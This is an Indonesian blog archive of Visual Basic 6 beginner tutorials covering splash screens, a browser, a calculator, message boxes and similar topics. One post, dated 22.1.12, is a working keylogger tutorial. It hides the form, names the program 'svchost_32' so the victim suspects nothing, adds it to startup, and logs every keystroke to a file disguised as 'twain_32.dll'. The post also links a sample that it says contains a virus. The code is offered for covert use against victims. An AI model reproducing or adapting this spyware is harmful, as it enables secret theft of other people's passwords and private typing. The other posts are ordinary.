Showing posts with label Visual Basic 6. Show all posts
Showing posts with label Visual Basic 6. Show all posts

29.1.12

Splash UHD Berwarna VB6

mungkin ada yang belum tahu maksud saya dengan memberi judul post "Splash UHD Berwarna" , nah , download dulu software contohnya :
Splash UHD Berwarna.rar (23.66kb) (ane compress karena dikira virus)

nah caranya gini :
1. Add components dulu, caranya klick kanan pada toolsbar bagian kiri > components > centang "Microsoft Windows Common Control 6.0 (SP6)" > klick apply lalu oke.

2. Klick "ProgressBar" di toolsbar di bagian kiri Lalu tambahkan ke form yang anda punya
3. lalu tambah timer ke form.
4. Kalo anda sudah melakukannya dengan benar, anda sekarang memasuki tahap coding, dan masukan code berikut ke dalam form :

Option Explicit
Dim iSplash As Integer
Private Sub Timer1_Timer()
On Error Resume Next
iSplash = iSplash + 1
ProgressBar1.Value = ProgressBar1.Value + 1000 / 1000
If iSplash > 100 Then
    Timer1.Enabled = False
    Screen.MousePointer = vbNormal
    Me.WindowState = 0
    Do
    Me.Left = Me.Left + 3000
    Me.Move Me.Left, Me.Top
    DoEvents
    Loop Until Me.Left > Screen.Width
    Load main
    main.Show
    main.SetFocus
    Unload Me
End If
End Sub
Private Sub Form_Load()
SetPrgColor ProgressBar1, vbGreen, vbBlack
Timer1.Interval = 25
End Sub
     ket :
     Merah : Bisa di ganti nama form lain yang di project kalian setelah form ini muncul
     Biru     : Ganti nilai tersebut terserah anda² sekalian. (itu adalah interval, yang berarti kalo 1000 = 1 detik)

5. Lalu Project > Add Module > Open > Masukan code berikut :

Private Declare Function SendNotifyMessage Lib "user32.dll" Alias "SendNotifyMessageA" (ByVal hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Sub SetPrgColor(Prg As ProgressBar, ForeColor As OLE_COLOR, BackColor As OLE_COLOR)
SendNotifyMessage Prg.hwnd, (&H400 + 9), 0&, ForeColor
SendNotifyMessage Prg.hwnd, (&H2000 + 1), 0&, BackColor
End Sub
6. Selesai deh... Mantab kan tutornya ? kalo ada yang belum mengerti silahkan comments disini..

22.1.12

Membuat Keylogger versi UHD dengan VB6

nah ketemu lagi ama ane, tapi, skarang ane mw ngasih tw cara membuat keylogger, ini dia contohnya :

svchost_32.rar(4.58 kb) (ane compress, soalnya mengandung virus)

penggunaan :
. Pindahkan svchost_32(nama keyloggernya, biar kgk curiga korbannya) ke startup
. Buka svchost_32
. dan keylogger-pun berkerja secara otomatis,
. kalo mw ngecheck hasilnya, buka notepad, trus open file "twain_32.dll" di dalam satu folder dengan svchost_32. tara.. kata² berhasil ke log..

kalo cara buatnya sih mudah om, ikuti tutor berikut :
. buat timer,
(name) : Timer1
Interval : 1
Enabled : True

. lalu isikan kode berikut di form :
'A. Fungsi API untuk mendapatkan Status Tombol di Keyboard
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'B. Membuat Variabel Baru
Private Type TList
kode As Integer
bawah As String
atas As String
End Type


'C. Membuat Array untuk Tombol
Private List(1 To 255) As TList
Private IndexList As Integer
'D. Memasukan Key ke TABEL
Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kode
List(IndexList).atas = atas
List(IndexList).bawah = bawah
End Sub


'E. Membuat Tabel
Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next i
AddToTable 48, ")", "0"
AddToTable 49, "!", "1"
AddToTable 50, "@", "2"
AddToTable 51, "#", "3"
AddToTable 52, "$", "4"
AddToTable 53, "%", "5"
AddToTable 54, "^", "6"
AddToTable 55, "&", "7"
AddToTable 56, "*", "8"
AddToTable 57, "(", "9"
AddToTable &H60, "", "0"
AddToTable &H61, "", "1"
AddToTable &H62, "", "2"
AddToTable &H63, "", "3"
AddToTable &H64, "", "4"
AddToTable &H65, "", "5"
AddToTable &H66, "", "6"
AddToTable &H67, "", "7"
AddToTable &H68, "", "8"
AddToTable &H69, "", "9"
AddToTable Asc(" "), " ", " "
End Sub


'F. Mmanggil prosedur & Menghilangkan Form
Private Sub Form_Load()
Me.Visible = False
Build_Table
End Sub


'G. Mencatat Ke File TXT
Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & "\twain_32.") <> "") Then
FileHandler = FreeFile
Open App.Path & "\twain_32.dll" For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & "\twain_32.dll" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub


'H. Memeriksa Ketikan Per Detik
Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atas
Else
AddToFile List(i).bawah
End If
Exit For
End I Sub

jadi dah, mudah kan ?

ayo di praktekin !!!!

15.1.12

Create Auto Copy With VB6

Halo, ane mw share lagi tentang VB6 yah ? !
mungkin ada yang belum tw maksudnya auto copy , nih download contohnya dulu : Contoh Copy
Cara menggunakan :
. Tulis di textboxnya,
. Pencet copy, dan wala, tulisan di textbox telah tercopy secara otomatis.. !

Tutorial membuatnya :
. Buat 1 buah CommandButton, 1 buat TextBox
. Ganti name CommandButton menjadi : cmdCopy
. Ganti name TexBox menjadi : txtTarget
. Hapus tex di texbox
. isikan kode berikut di form :

Private Sub cdmCopy_Click()
    Clipboard.SetText txtTarget.Text
    MsgBox "Text Telah berhasil disalinkan pada clipboard. =)", vbInformation, "UHD"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
OpenURL "http://www.uhdcode.blogspot.com", Me.hWnd
End Sub
. kalo sudah add module , ganti nama module menjadi :  ModUHD . lalu masukin kode sebagai berikut :
'modul UHD
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
                (ByVal hwnd As Long, _
                ByVal lpOperation As String, _
                ByVal lpFile As String, _
                ByVal lpParameters As String, _
                ByVal lpDirectory As String, _
                ByVal nShowCmd As Long) As Long
Public Sub OpenURL(situs As String, sourceHWND As Long)
     Call ShellExecute(sourceHWND, vbNullString, situs, vbNullString, vbNullString, 1)
End Sub
. Tinggal di hias deh,

Silahkan Menikmati =)

8.1.12

Cara Membuat Browser dengan VB6

salam om, sakarang saya akan memberi tutorial "Cara Membuat Browser dengan VB6"


Syarat membuat Web Browser :

1. Sediakan Makanan Ringan
2. Kopi dan Rokok
3. Dengerin Musik... klo bisa Iwan Fals :)
4. Harus punya VB6 , Full maupun Portable. Kalo belum punya Visual Basic 6, bisa Cari di Indowebster.


Langkah2 membuat Web Browser ala Yudhistira Mawardi :

1. Buka Visual Basic 6 nya. Trus pilih Standard EXE.
2. Klik Kanan Pada ToolBox, Kemudian pilih Components atau tekan  key Ctrl + T .
3. Kemudian Centang Microsoft html object library, Microsoft internet controls, Microsoft Windows common Controls 5.0 atau 6.0 sama saja.
4. Buat 5 Command Buton, 1 Text Box , 1Label, 1 Webbrowser , 1 Proggress Bar. Saran saya tata Seperti Gambar di bawah.


CommandButton Captionnya saya ganti dengan Back, Forward, Refresh, Stop dan Go.

Label Captionnya saya ganti Done

TextBox Text kalau bisa Kosong aja.

5. Sekarang Masukkan kode kode berikut, caranya doble klik pada tool / tombol yang sudah kita buat.

1. Back
On Error Resume Next
WebBrowser1.GoBack
2. Forward
On Error Resume Next
WebBrowser1.GoForward
3.Refresh
On Error Resume Next
WebBrowser1.Refresh
4.Stop
On Error Resume Next
WebBrowser1.Stop
5.GO
On Error Resume Next
WebBrowser1.Navigate Text1.Text

6. Progress Bar. Langsung Copy dan Paste Code ini pada Form Code
Private Sub WebBrowser1_ProgressChange(ByVal Progress As Long, ByVal ProgressMax As Long)
On Error Resume Next
If Progress = -1 Then ProgressBar1.Value = 100
Label1.Caption = "Done"
ProgressBar1.Visible = False
If Progress > 0 And ProgressMax > 0 Then
ProgressBar1.Visible = True
Image1.Visible = False
ProgressBar1.Value = Progress * 100 / ProgressMax
Label1.Caption = "Loading " & Int(Progress * 100 / ProgressMax) & "%"
End If
Exit Sub
End Sub
7.Resize Form. Langsung Copy dan Paste Code ini pada Form Code
Private Sub Form_Resize()
On Error Resume Next
WebBrowser1.Width = Me.ScaleWidth
WebBrowser1.Height = Me.ScaleHeight - 1680
End Sub  


6. Coba Jalankan Programnya Run > Start atau F5. Bila anda menemui error Silahkah komen, pasti ane jawab :)

7. Kalau sudah tak tampak error. Langsung pilih File > Make Project1.exe.

8. Finish ^^

Kalau Program sudah jadi akan terlihat seperti ini :

Cara Membuat Kalkulator dengan VB6

Program kalkulator adalah program standar yang sudah tersedia di Microsoft Windows. Tetapi, tak ada salahnya jika kita mencoba membuat kalkulator sendiri dengan Microsoft Visual Basic 6.0.
Pertama-tama, buatlah sebuah form sesuai selera Anda, yang bentuknya kurang lebih seperti
kalkulator standar Windows, seperti ini:

Untuk properties dari masing-masing objek, saya contohkan seperti dibawah ini, dengan letak
masing-masing objek disesuaikan dengan gambar diatas.

Textbox 1:
(Name) : txtDisplay
Alignment: 1-Right Justify
Text : (kosongkan)
Maxlength : 12

Command Button 1:
(Name) : cmdAngka
Index : 1
Caption : 1

Command Button 2:
(Name) : cmdAngka
Index : 2
Caption : 2

Command Button 3:
(Name) : cmdAngka
Index : 3
Caption : 3

Command Button 4:
(Name) : cmdAngka
Index : 4
Caption : 4

Command Button 5:
(Name) : cmdAngka
Index : 5
Caption : 5

Command Button 6:
(Name) : cmdAngka
Index : 6
Caption : 6

Command Button 7:
(Name) : cmdAngka
Index : 7
Caption : 7

Command Button 8:
(Name) : cmdAngka
Index : 8
Caption : 8

Command Button 9:
(Name) : cmdAngka
Index : 9
Caption : 9

Command Button 10:
(Name) : cmdAngka
Index : 0
Caption : 0

Command Button 11:
(Name) : cmdPlusMinus
Caption : +/-

Command Button 12:
(Name) : cmdKoma
Caption : .

Command Button 13:
(Name) : cmdOperator
Index : 1
Caption : +

Command Button 14:
(Name) : cmdOperator
Index : 2
Caption : -

Command Button 15:
(Name) : cmdOperator
Index : 3
Caption : x

Command Button 16:
(Name) : cmdOperator
Index : 4
Caption : /

Command Button 17:
(Name) : cmdClearEntry
Caption : CE

Command Button 18:
(Name) : cmdClear
Caption : C

Command Button 19:
(Name) : cmdSamaDengan
Caption : =

Berikutnya, Anda tinggal membuat coding dari kalkulator tersebut. Jika Anda mengikuti semua
setting properties seperti diatas, maka codingnya saya contohkan seperti ini:

Option Explicit
Private Hasil As Double
Private Const opNol = 0
Private Const opTambah = 1
Private Const opKurang = 2
Private Const opKali = 3
Private Const opBagi = 4
Private Operator As Integer
Private NilaiBaru As Boolean
' untuk menghapus karakter terakhir
Private Sub Hapus()
Dim txt As String
Dim min_len As Integer
txt = txtDisplay.Text
If Left$(txt, 1) = "-" Then
min_len = 2
Else
min_len = 1
End If
If Len(txt) > min_len Then
txtDisplay.Text = Left$(txt, Len(txt) - 1)
Else
txtDisplay.Text = "0"
End If
End Sub
' hapus angka, hasil terakhir dan operator
Private Sub cmdClear_Click()
cmdClearEntry_Click
Hasil = 0
Operator = opNol
End Sub
' hapus angka
Private Sub cmdClearEntry_Click()
txtDisplay.Text = ""
End Sub
' menambahkan koma (desimal)
Private Sub cmdKoma_Click()
If InStr(txtDisplay.Text, ".") Then
Beep
Else
If NilaiBaru Then
txtDisplay.Text = "."
NilaiBaru = False
Else
txtDisplay.Text = txtDisplay.Text & "."
End If
End If
End Sub
' Menghitung
Private Sub cmdSamaDengan_Click()
Dim HasilBaru As Double
If txtDisplay.Text = "" Then
HasilBaru = 0
Else
HasilBaru = CDbl(txtDisplay.Text)
End If
Select Case Operator
Case opNol
Hasil = HasilBaru
Case opTambah
Hasil = Hasil + HasilBaru
Case opKurang
Hasil = Hasil - HasilBaru
Case opKali
Hasil = Hasil * HasilBaru
Case opBagi
'Tidak bisa dibagi nol
If HasilBaru = 0 Then
MsgBox "Tidak bisa dibagi 0", vbOKOnly + vbCritical, "Kalku ERROR"
Call cmdClear_Click
Else
Hasil = Hasil / HasilBaru
End If
End Select
Operator = opNol
NilaiBaru = True
txtDisplay.Text = Format$(Hasil)
End Sub
' menuliskan angka
Private Sub cmdAngka_Click(Index As Integer)
If NilaiBaru Then
txtDisplay.Text = Format$(Index)
NilaiBaru = False
Else
txtDisplay.Text = _
txtDisplay.Text & Format$(Index)
End If
End Sub
' tombol tambah/kurang/bagi/kali
Private Sub cmdOperator_Click(Index As Integer)
cmdSamaDengan_Click
Operator = Index
NilaiBaru = True
End Sub
' merubah tanda +/-
Private Sub cmdPlusMinus_Click()
If NilaiBaru Then
txtDisplay.Text = "-"
ElseIf Left$(txtDisplay.Text, 1) = "-" Then
txtDisplay.Text = Right$(txtDisplay.Text, 2)
Else
txtDisplay.Text = "-" & txtDisplay.Text
End If
End Sub
' filter untuk angka saja yg dapat diketikkan
Private Sub Form_KeyPress(KeyAscii As Integer)
txtDisplay_KeyPress KeyAscii
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
txtDisplay_KeyUp KeyCode, Shift
End Sub
' supaya kursor tetap di kanan
Private Sub txtDisplay_Change()
txtDisplay.SelStart = Len(txtDisplay.Text)
End Sub
Private Sub txtDisplay_GotFocus()
txtDisplay_Change
End Sub
' untuk mengetikkan angka di keyboard
Private Sub txtDisplay_KeyPress(KeyAscii As Integer)
Dim ch As String
ch = Chr$(KeyAscii)
Select Case ch
Case "0"
cmdAngka_Click 0
Case "1"
cmdAngka_Click 1
Case "2"
cmdAngka_Click 2
Case "3"
cmdAngka_Click 3
Case "4"
cmdAngka_Click 4
Case "5"
cmdAngka_Click 5
Case "6"
cmdAngka_Click 6
Case "7"
cmdAngka_Click 7
Case "8"
cmdAngka_Click 8
Case "9"
cmdAngka_Click 9
Case "*", "x", "X"
cmdOperator_Click opKali
Case "+"
cmdOperator_Click opTambah
Case vbCrLf, vbCr, "="
cmdSamaDengan_Click
Case "-"
cmdOperator_Click opKurang
Case "."
cmdKoma_Click
Case "/"
cmdOperator_Click opBagi
Case "C", "c"
cmdClearEntry_Click
End Select
KeyAscii = 0
End Sub
' untuk ketikan angka di numpad
Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case vbKeyNumpad0
cmdAngka_Click 0
Case vbKeyNumpad1
cmdAngka_Click 1
Case vbKeyNumpad2
cmdAngka_Click 2
Case vbKeyNumpad3
cmdAngka_Click 3
Case vbKeyNumpad4
cmdAngka_Click 4
Case vbKeyNumpad5
cmdAngka_Click 5
Case vbKeyNumpad6
cmdAngka_Click 6
Case vbKeyNumpad7
cmdAngka_Click 7
Case vbKeyNumpad8
cmdAngka_Click 8
Case vbKeyNumpad9
cmdAngka_Click 9
Case vbKeyMultiply
cmdOperator_Click opKali
Case vbKeyAdd
cmdOperator_Click opTambah
Case vbKeySeparator
cmdSamaDengan_Click
Case vbKeySubtract
cmdOperator_Click opKurang
Case vbKeyDivide
cmdOperator_Click opBagi
Case vbKeyDecimal
cmdKoma_Click
Case vbKeyBack, vbKeyDelete
Hapus
End Select
KeyCode = 0
End Sub

28.12.11

[VB6] Membuat tampilan form menjadi XP Look

Mungkin disini ada yg belum mengetahui tentang XPLook, nah ini dia Screen Shot nya :

udah tw kan ?
pertama² download file berikut :
XPLook.RES

nah kalo sudah di download ini dia tutorialnya :
. Buka VB6
. buka Project > Add File > Pilih XPLook.RES
. kalo sudah kita buka Project > Add module > Open & Masukin Kode Berikut :

'---------------------------------------------------------------------------------------
' Credits by : UHD @ HNc
'---------------------------------------------------------------------------------------
Option Explicit
Private Type tagInitCommonControlsEx
  lngSize As Long
  lngICC As Long

End Type
Private Declare Function InitCommonControlsEx Lib "comctl32.dll" (iccex As tagInitCommonControlsEx) As Boolean
Private Const ICC_USEREX_CLASSES = &H200
Public Function InitCommonControlsXP() As Boolean
On Error Resume Next
Dim iccex As tagInitCommonControlsEx

With iccex
  .lngSize = Len(iccex)
  .lngICC = ICC_USEREX_CLASSES

End With
InitCommonControlsEx iccex
InitCommonControlsXP = CBool(Err = 0)
End Function

. Sekarang buka kode di form dan masukin kode berikut :

Private Sub Form_Initialize()
    InitCommonControlsXP
End Sub
 . Selesai deh ..huft... lama juga yah...

nah, saya kasih keterangan, XPLook Berfungsi jika sudah di compile kalo belum yah.. masih standar..
kalau ada yg kurang komen aja..

26.12.11

[VB6] Membuat menu pada from

nih, mungkin di antara kita ada yg belum tw menu pada VB, ini dia SSnya :
[Image: ex.jpg]
udah tau ?

kalo udah nih caranya :
. klick menu editor
[Image: mnu1.jpg]

. setelah di klick akan keluar from seperti ini :
[Image: mnu2.jpg]

. hasilnya :
[Image: mnu3.jpg]

Q : gimana cara masukin kodenya ?
A : klick aja menunya, nanti keluar from code n' isi sesuka anda

Credits : UHD

kalo ada yg kurang comments aja..

[VB6]Kumpulan msgbox "Setahu Ane"

ketemu lagi ama ane om !
ane disini mw share macam² msgBox di VB6,

1. Standar Message Box
Code:
MsgBox " contoh ", , "uhdcode"
[Image: tutor2.jpg]

2. Information
Code:
MsgBox " contoh ", vbInformation, " uhdcode "
[Image: tutor1.jpg]

3. Exclamation
Code:
MsgBox " contoh ", vbExclamation, " uhdcode "
 [Image: tutor3.jpg]

4. Critical
Code:
MsgBox " contoh ", vbCritical, " uhdcode "
 [Image: tutor4.jpg]

5. Abort Retry Ignore
Code:
MsgBox " contoh ", vbAbortRetryIgnore, " uhdcode "
 [Image: tutor5.jpg]

6. Yes No
Code:
MsgBox " contoh ", vbYesNo, " uhdcode "
 [Image: tutor6.jpg]

7. Ok Cancel
Code:
MsgBox " contoh ", vbOkCancel, " uhdcode "
 [Image: tutor7.jpg]

8. Retry Cancel
Code:
MsgBox " contoh ", vbRetryCancel, " uhdcode "
 [Image: tutor8.jpg]

9. Yes No Cancel
Code:
MsgBox " contoh ", vbYesNoCancel, " uhdcode "
 [Image: tutor9.jpg]

10. Question Icon
Code:
MsgBox " contoh ", vbQuestion, " uhdcode "
 [Image: tutor10.jpg]

11. Help Button
Code:
MsgBox "contoh", vbMsgBoxHelpButton, "uhdcode"
[Image: tutor11.jpg]

Semoga Membantu
kalo membantu kasih  donk....

kalo ane dapet ide, ane share lagi dah...

NB : Warna Merah Bisa di ganti sesuai kebutuhan anda